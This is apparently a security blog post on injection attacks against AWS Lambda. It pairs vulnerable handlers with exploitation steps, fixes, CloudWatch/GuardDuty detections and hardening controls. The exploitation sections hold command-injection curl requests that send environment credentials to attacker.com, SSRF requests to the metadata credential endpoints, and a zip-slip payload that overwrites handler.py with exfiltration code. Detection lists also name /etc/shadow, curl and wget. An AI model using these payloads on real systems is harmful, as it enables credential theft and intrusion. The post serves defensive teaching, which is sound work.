Serverless functions are not exempt from injection vulnerabilities. The attack surface is different — instead of HTTP request parameters, the injection point is the event payload: the JSON object that arrives from S3, SQS, API Gateway, DynamoDB Streams, SNS, EventBridge, or any of the dozens of other event sources that can trigger a Lambda function.
The challenge is that developers often apply strict validation to data arriving from external HTTP requests (API Gateway events) but treat data from internal event sources — an S3 event triggered by a bucket upload, an SQS message from another service — as implicitly trustworthy. This trust assumption is exactly what attackers exploit.
This post covers the serverless attack surface in depth: command injection via event data, SSRF attacks that steal IAM credentials from the metadata service, zip slip via S3 uploads, and the detection and defense controls that actually work.
The Serverless Attack Surface
Lambda functions are triggered by events from multiple sources. Each source represents a distinct attack surface with unique injection characteristics:
| Event Source | Attacker-Controlled Input | Primary Risk |
|---|---|---|
| API Gateway | Query params, headers, body | SQL injection, command injection, SSRF |
| S3 | Object key, object content | Zip slip, content injection, ReDoS |
| SQS | Message body | Command injection, deserialization |
| SNS | Message body, attributes | Command injection |
| DynamoDB Streams | Record content | Injection via stored data |
| EventBridge | Event detail | Injection via event metadata |
| Cognito | User attributes | Authentication bypass, injection |
The critical insight: if an attacker can influence any part of the event payload, they can potentially influence Lambda’s behavior.
Attack Vector 1: OS Command Injection via Event Data
Vulnerable Lambda Function
1import subprocess
2import json
3import boto3
4
5def handler(event, context):
6 """
7 VULNERABLE: Processes image files using ImageMagick.
8 Event from API Gateway includes the filename.
9 """
10 # Attacker controls this value via API Gateway query parameter
11 filename = event['queryStringParameters']['file']
12
13 # DANGEROUS: filename is passed directly to shell command
14 result = subprocess.run(
15 f"convert /tmp/{filename} -resize 800x600 /tmp/resized_{filename}",
16 shell=True,
17 capture_output=True,
18 text=True
19 )
20
21 return {
22 'statusCode': 200,
23 'body': json.dumps({'output': result.stdout, 'error': result.stderr})
24 }
Exploitation
1# Attacker sends a crafted filename to the API Gateway endpoint
2# The filename contains a command injection payload
3
4# Basic injection: list /tmp contents
5curl "https://api.execute-api.us-east-1.amazonaws.com/prod/resize?file=image.jpg;ls%20/tmp"
6
7# Read Lambda environment variables (contains AWS credentials via env vars)
8curl "https://api.execute-api.us-east-1.amazonaws.com/prod/resize?file=image.jpg;env"
9# Response includes: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
10
11# Exfiltrate environment (credentials) to attacker server
12curl "https://api.execute-api.us-east-1.amazonaws.com/prod/resize?file=image.jpg%3Bcurl%20-X%20POST%20https%3A%2F%2Fattacker.com%2Fexfil%20-d%20\$(env|base64)"
13
14# Read the Lambda function source code
15curl "https://api.execute-api.us-east-1.amazonaws.com/prod/resize?file=image.jpg;cat%20/var/task/handler.py"
Fixed Version
1import subprocess
2import json
3import re
4import os
5
6ALLOWED_EXTENSIONS = {'.jpg', '.jpeg', '.png', '.webp'}
7FILENAME_PATTERN = re.compile(r'^[a-zA-Z0-9_\-]+\.(jpg|jpeg|png|webp)$')
8
9
10def handler(event, context):
11 """
12 FIXED: Validates filename before use and uses argument list instead of shell=True.
13 """
14 filename = event.get('queryStringParameters', {}).get('file', '')
15
16 # Strict validation: only allow safe filenames
17 if not FILENAME_PATTERN.match(filename):
18 return {
19 'statusCode': 400,
20 'body': json.dumps({'error': 'Invalid filename'})
21 }
22
23 # Validate extension
24 _, ext = os.path.splitext(filename)
25 if ext.lower() not in ALLOWED_EXTENSIONS:
26 return {
27 'statusCode': 400,
28 'body': json.dumps({'error': 'Unsupported file type'})
29 }
30
31 input_path = f"/tmp/{filename}"
32 output_path = f"/tmp/resized_{filename}"
33
34 # SAFE: argument list, no shell=True, no string interpolation
35 result = subprocess.run(
36 ["convert", input_path, "-resize", "800x600", output_path],
37 capture_output=True,
38 text=True,
39 timeout=30
40 )
41
42 if result.returncode != 0:
43 return {
44 'statusCode': 500,
45 'body': json.dumps({'error': 'Processing failed'})
46 }
47
48 return {
49 'statusCode': 200,
50 'body': json.dumps({'output': output_path})
51 }
Attack Vector 2: SSRF to Steal IAM Credentials from IMDS
This is one of the highest-impact serverless attacks. A Lambda function that fetches a URL from user input can be redirected to the metadata service to steal the function’s IAM execution role credentials.
Vulnerable Lambda Function
1import urllib.request
2import json
3
4
5def handler(event, context):
6 """
7 VULNERABLE: Fetches a URL provided in the event data (URL previewer).
8 Event source: API Gateway.
9 """
10 # Attacker controls this URL
11 url = event['queryStringParameters']['url']
12
13 # DANGEROUS: no URL validation or SSRF protection
14 with urllib.request.urlopen(url, timeout=10) as response:
15 content = response.read().decode('utf-8')
16
17 return {
18 'statusCode': 200,
19 'body': json.dumps({'preview': content[:500]})
20 }
SSRF Exploitation — Credential Theft
1# Step 1: Redirect the function to fetch its own IAM credentials
2# Lambda execution role credentials are at the IMDS endpoint
3
4# IMDSv1 (if still allowed): single-request credential theft
5curl "https://api.execute-api.us-east-1.amazonaws.com/prod/preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
6# Response: {"preview": "my-lambda-execution-role"}
7
8# Fetch the actual credentials
9curl "https://api.execute-api.us-east-1.amazonaws.com/prod/preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/my-lambda-execution-role"
10# Response: {"preview": "{\"AccessKeyId\": \"ASIA...\", \"SecretAccessKey\": \"...\", \"Token\": \"...\"}"}
11
12# Step 2: Lambda also has a dedicated credential endpoint
13curl "https://api.execute-api.us-east-1.amazonaws.com/prod/preview?url=http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
14# This provides temporary credentials for the execution role
15
16# Step 3: With stolen credentials, attacker can call AWS APIs
17export AWS_ACCESS_KEY_ID="ASIA..."
18export AWS_SECRET_ACCESS_KEY="..."
19export AWS_SESSION_TOKEN="..."
20aws sts get-caller-identity
21aws s3 ls # List all buckets accessible to the Lambda's execution role
SSRF via S3 Event — Indirect Injection
1def handler(event, context):
2 """
3 VULNERABLE: Lambda triggered by S3 upload, fetches a URL from the uploaded JSON file.
4 The attacker uploads a malicious JSON file to S3 to trigger the SSRF.
5 """
6 s3 = boto3.client('s3')
7
8 # Get the uploaded file details from S3 event
9 bucket = event['Records'][0]['s3']['bucket']['name']
10 key = event['Records'][0]['s3']['object']['key']
11
12 # Download and parse the uploaded file
13 response = s3.get_object(Bucket=bucket, Key=key)
14 data = json.loads(response['Body'].read())
15
16 # DANGEROUS: URL from the uploaded file is fetched without validation
17 callback_url = data['callback_url']
18 urllib.request.urlopen(callback_url) # SSRF via uploaded file content
Attacker uploads to S3:
1{
2 "callback_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
3 "data": "legitimate looking content"
4}
Attack Vector 3: SQL Injection via DynamoDB Event Data
1import boto3
2import json
3
4
5def handler(event, context):
6 """
7 VULNERABLE: Processes DynamoDB Stream records and queries RDS.
8 """
9 import pymysql
10
11 conn = pymysql.connect(
12 host='rds.internal',
13 user='app',
14 password='dbpass',
15 database='appdb'
16 )
17
18 for record in event['Records']:
19 if record['eventName'] == 'INSERT':
20 # DANGEROUS: DynamoDB record content used directly in SQL
21 user_id = record['dynamodb']['NewImage']['userId']['S']
22
23 # SQL injection via DynamoDB record content
24 cursor = conn.cursor()
25 cursor.execute(f"SELECT * FROM users WHERE id = '{user_id}'")
An attacker who can write to the DynamoDB table (or intercept data going into it) can inject ' OR '1'='1 as the userId value, causing a classic SQL injection that runs inside the Lambda function.
Fixed version uses parameterized queries:
1# SAFE: parameterized query
2cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
Attack Vector 4: Zip Slip via S3 Upload Processing
1import zipfile
2import os
3import boto3
4
5
6def handler(event, context):
7 """
8 VULNERABLE: Extracts uploaded ZIP files from S3 to /tmp.
9 """
10 s3 = boto3.client('s3')
11 bucket = event['Records'][0]['s3']['bucket']['name']
12 key = event['Records'][0]['s3']['object']['key']
13
14 # Download ZIP to /tmp
15 local_zip = '/tmp/upload.zip'
16 s3.download_file(bucket, key, local_zip)
17
18 # DANGEROUS: no path validation before extraction
19 with zipfile.ZipFile(local_zip) as zf:
20 zf.extractall('/tmp/extracted/') # Path traversal possible
Malicious ZIP content (created with Python zipfile or specialized tools):
1import zipfile
2
3# Create a malicious ZIP that writes outside the target directory
4with zipfile.ZipFile('malicious.zip', 'w') as zf:
5 # Path traversal — writes to /tmp/../../var/task/handler.py
6 # In Lambda, /var/task contains the function code
7 zf.writestr('../../var/task/handler.py', '''
8import subprocess
9def handler(event, context):
10 # Attacker-controlled function code now executes
11 result = subprocess.run(['env'], capture_output=True, text=True)
12 # Exfiltrate to attacker server
13 import urllib.request
14 urllib.request.urlopen(f"https://attacker.com/exfil?data={result.stdout}")
15 return {"statusCode": 200}
16''')
Fixed version with path validation:
1import zipfile
2import os
3
4
5def safe_extract(zip_path: str, extract_path: str):
6 """Extract ZIP with path traversal protection."""
7 with zipfile.ZipFile(zip_path) as zf:
8 for member in zf.infolist():
9 # Resolve and validate the target path
10 target = os.path.realpath(os.path.join(extract_path, member.filename))
11
12 # Ensure the target is within our extraction directory
13 if not target.startswith(os.path.realpath(extract_path)):
14 raise ValueError(f"Zip slip detected: {member.filename}")
15
16 zf.extract(member, extract_path)
Detection
CloudWatch Logs Anomaly Detection
1import boto3
2import json
3import re
4
5def check_lambda_logs_for_injection(function_name: str, hours: int = 24):
6 """
7 Scan Lambda CloudWatch Logs for injection indicators.
8 """
9 logs = boto3.client('logs')
10
11 # Indicators of command injection attempts in logs
12 injection_patterns = [
13 r'/etc/passwd',
14 r'/etc/shadow',
15 r'169\.254\.169\.254', # IMDS access
16 r'169\.254\.170\.2', # Lambda credential endpoint
17 r'curl\s+http',
18 r'wget\s+http',
19 r'base64\s+-d',
20 r'\$\(.*\)', # Command substitution
21 r'subprocess\.run', # Unexpected subprocess in output
22 ]
23
24 log_group = f'/aws/lambda/{function_name}'
25
26 # Query recent log events
27 query = f"""
28 fields @timestamp, @message
29 | filter @message like /({"|".join(injection_patterns[:3])})/
30 | sort @timestamp desc
31 | limit 100
32 """
33
34 cw_logs = boto3.client('logs')
35 response = cw_logs.start_query(
36 logGroupName=log_group,
37 startTime=int((datetime.utcnow() - timedelta(hours=hours)).timestamp()),
38 endTime=int(datetime.utcnow().timestamp()),
39 queryString=query
40 )
41
42 query_id = response['queryId']
43 return query_id
CloudWatch Insights Queries
# Detect IMDS access attempts in Lambda logs
fields @timestamp, @message, @logStream
| filter @message like /169.254.169.254/ or @message like /169.254.170.2/
| sort @timestamp desc
| limit 50
# Detect error spikes (potential ReDoS or injection errors)
fields @timestamp, @message
| filter @message like /ERROR/ or @message like /Task timed out/
| stats count(*) as error_count by bin(5m)
| sort error_count desc
# Detect subprocess execution in Lambda output
fields @timestamp, @message, @logStream
| filter @message like /subprocess/ or @message like /os.system/ or @message like /Popen/
| sort @timestamp desc
VPC Flow Logs for Unexpected Outbound
1# Query VPC Flow Logs for Lambda ENIs making unexpected outbound connections
2# Lambda in a VPC creates Elastic Network Interfaces
3aws ec2 describe-network-interfaces \
4 --filters "Name=description,Values=AWS Lambda VPC ENI*" \
5 --query 'NetworkInterfaces[*].{ENI:NetworkInterfaceId,IP:PrivateIpAddress,Function:Description}' \
6 --output table
7
8# In Athena, query Flow Logs for outbound connections from Lambda ENIs
9# to unexpected destinations
10SELECT
11 srcaddr,
12 dstaddr,
13 dstport,
14 action,
15 start,
16 end
17FROM vpc_flow_logs
18WHERE
19 srcaddr IN (
20 -- Lambda ENI private IPs from above query
21 '10.0.1.45', '10.0.2.67'
22 )
23 AND dstaddr NOT IN (
24 -- Expected destinations (RDS, S3 endpoints, etc.)
25 '10.0.0.0/8'
26 )
27 AND action = 'ACCEPT'
28ORDER BY start DESC;
Lambda-Specific GuardDuty Findings
1# GuardDuty Runtime Monitoring for Lambda (requires agent)
2aws guardduty list-findings \
3 --detector-id $(aws guardduty list-detectors --query DetectorIds[0] --output text) \
4 --finding-criteria '{
5 "Criterion": {
6 "resource.resourceType": {"Eq": ["Lambda"]},
7 "service.archived": {"Eq": ["false"]}
8 }
9 }'
10
11# Key finding types for Lambda:
12# Execution:Lambda/SuspiciousUserAgent
13# Execution:Lambda/AnomalousBehavior
14# CredentialAccess:Lambda/AnomalousBehavior
Defense and Hardening
Control 1: Input Validation Framework
1import re
2import ipaddress
3from urllib.parse import urlparse
4
5
6class InputValidator:
7 """Centralized input validation for Lambda event data."""
8
9 # Blocked IP ranges for SSRF prevention
10 BLOCKED_NETWORKS = [
11 ipaddress.ip_network('169.254.0.0/16'), # IMDS / link-local
12 ipaddress.ip_network('10.0.0.0/8'), # Private RFC1918
13 ipaddress.ip_network('172.16.0.0/12'), # Private RFC1918
14 ipaddress.ip_network('192.168.0.0/16'), # Private RFC1918
15 ipaddress.ip_network('127.0.0.0/8'), # Loopback
16 ipaddress.ip_network('::1/128'), # IPv6 loopback
17 ipaddress.ip_network('fd00::/8'), # IPv6 ULA
18 ]
19
20 @staticmethod
21 def validate_url(url: str, allowed_schemes: set = None) -> str:
22 """Validate URL is safe to fetch (SSRF prevention)."""
23 if allowed_schemes is None:
24 allowed_schemes = {'https'}
25
26 parsed = urlparse(url)
27
28 # Only allow specified schemes
29 if parsed.scheme not in allowed_schemes:
30 raise ValueError(f"Disallowed URL scheme: {parsed.scheme}")
31
32 # Resolve hostname and check against blocked networks
33 import socket
34 try:
35 ip_str = socket.gethostbyname(parsed.hostname)
36 ip = ipaddress.ip_address(ip_str)
37 except (socket.gaierror, ValueError):
38 raise ValueError(f"Cannot resolve hostname: {parsed.hostname}")
39
40 for blocked in InputValidator.BLOCKED_NETWORKS:
41 if ip in blocked:
42 raise ValueError(f"URL resolves to blocked IP range: {ip}")
43
44 return url
45
46 @staticmethod
47 def sanitize_filename(filename: str) -> str:
48 """Validate and sanitize filenames (path traversal prevention)."""
49 # Allow only alphanumeric, dash, underscore, and single extension
50 if not re.match(r'^[a-zA-Z0-9_\-]{1,100}\.[a-zA-Z]{2,5}$', filename):
51 raise ValueError(f"Invalid filename: {filename}")
52
53 # Prevent directory traversal
54 if '..' in filename or '/' in filename or '\\' in filename:
55 raise ValueError("Directory traversal attempt")
56
57 return filename
Control 2: Least-Privilege Execution Role
1{
2 "Version": "2012-10-17",
3 "Statement": [
4 {
5 "Sid": "S3ReadSpecificBucket",
6 "Effect": "Allow",
7 "Action": ["s3:GetObject"],
8 "Resource": "arn:aws:s3:::my-input-bucket/*"
9 },
10 {
11 "Sid": "S3WriteSpecificBucket",
12 "Effect": "Allow",
13 "Action": ["s3:PutObject"],
14 "Resource": "arn:aws:s3:::my-output-bucket/processed/*"
15 },
16 {
17 "Sid": "CloudWatchLogs",
18 "Effect": "Allow",
19 "Action": [
20 "logs:CreateLogGroup",
21 "logs:CreateLogStream",
22 "logs:PutLogEvents"
23 ],
24 "Resource": "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/my-function:*"
25 }
26 ]
27}
Control 3: VPC Without Internet Gateway + Require IMDSv2
1# Deploy Lambda in VPC without Internet Gateway
2# This prevents SSRF callbacks to external attacker servers
3
4aws lambda update-function-configuration \
5 --function-name my-function \
6 --vpc-config SubnetIds=subnet-private1,subnet-private2,SecurityGroupIds=sg-lambda-restricted
7
8# For direct IMDSv2 enforcement on Lambda (applied via AWS CLI)
9# Lambda functions automatically use container credential providers
10# but configure instance-level IMDSv2 if function runs on EC2
11
12# Require IMDSv2 at the EC2 level (for Lambda@Edge or container-based functions)
13aws ec2 modify-instance-metadata-options \
14 --instance-id i-xxx \
15 --http-tokens required \
16 --http-put-response-hop-limit 1
Control 4: Function Timeouts and Reserved Concurrency
1# Set aggressive timeout to limit abuse window
2aws lambda update-function-configuration \
3 --function-name my-function \
4 --timeout 30 # Maximum 30 seconds, not the 900-second maximum
5
6# Set reserved concurrency to limit blast radius of ReDoS / billing attacks
7aws lambda put-function-concurrency \
8 --function-name my-function \
9 --reserved-concurrent-executions 10
10
11# Enable Lambda Insights for enhanced monitoring
12aws lambda update-function-configuration \
13 --function-name my-function \
14 --layers arn:aws:lambda:us-east-1:580247275435:layer:LambdaInsightsExtension:38
Control 5: Secrets Manager Instead of Environment Variables
1import boto3
2import json
3from functools import lru_cache
4
5
6@lru_cache(maxsize=None)
7def get_secret(secret_name: str) -> dict:
8 """
9 Retrieve secret from Secrets Manager with in-memory caching.
10 Caching prevents hitting Secrets Manager API on every invocation.
11 """
12 client = boto3.client('secretsmanager')
13 response = client.get_secret_value(SecretId=secret_name)
14 return json.loads(response['SecretString'])
15
16
17def handler(event, context):
18 # Credentials never in environment variables — fetched from Secrets Manager
19 db_creds = get_secret('prod/myapp/db')
20 api_key = get_secret('prod/myapp/external-api')['key']
21
22 # Use credentials
23 conn = connect_to_db(
24 host=db_creds['host'],
25 user=db_creds['username'],
26 password=db_creds['password']
27 )
MITRE ATT&CK Mapping
- T1190 — Exploit Public-Facing Application: Injection attacks against Lambda functions exposed via API Gateway.
- T1552.007 — Unsecured Credentials: Container API: Accessing Lambda’s IMDS endpoint to steal execution role credentials via SSRF.
- T1059 — Command and Scripting Interpreter: OS command injection through event data passed to subprocess calls.
- T1496 — Resource Hijacking: Using compromised Lambda execution roles to deploy cryptocurrency mining workloads.
Related Attacks in This Series
- Container Escape: Breaking Out of Docker
- Kubernetes RBAC Misconfiguration: Privilege Escalation
- Cloud Account Takeover: Leaked AWS Keys and Crypto Mining
- Zero-Day Exploit: No Patch Exists — Now What?
- Prompt Injection Attacks: Making AI Do What It Shouldn’t
References
- OWASP Serverless Top 10
- MITRE ATT&CK T1190 — Exploit Public-Facing Application
- AWS Lambda Security Documentation
- Palo Alto Unit 42 — Serverless Security Research
- IMDSv2 Documentation — Preventing SSRF
- Zip Slip Vulnerability — Snyk Research
- AWS GuardDuty Lambda Runtime Monitoring
- CWE-78 — OS Command Injection






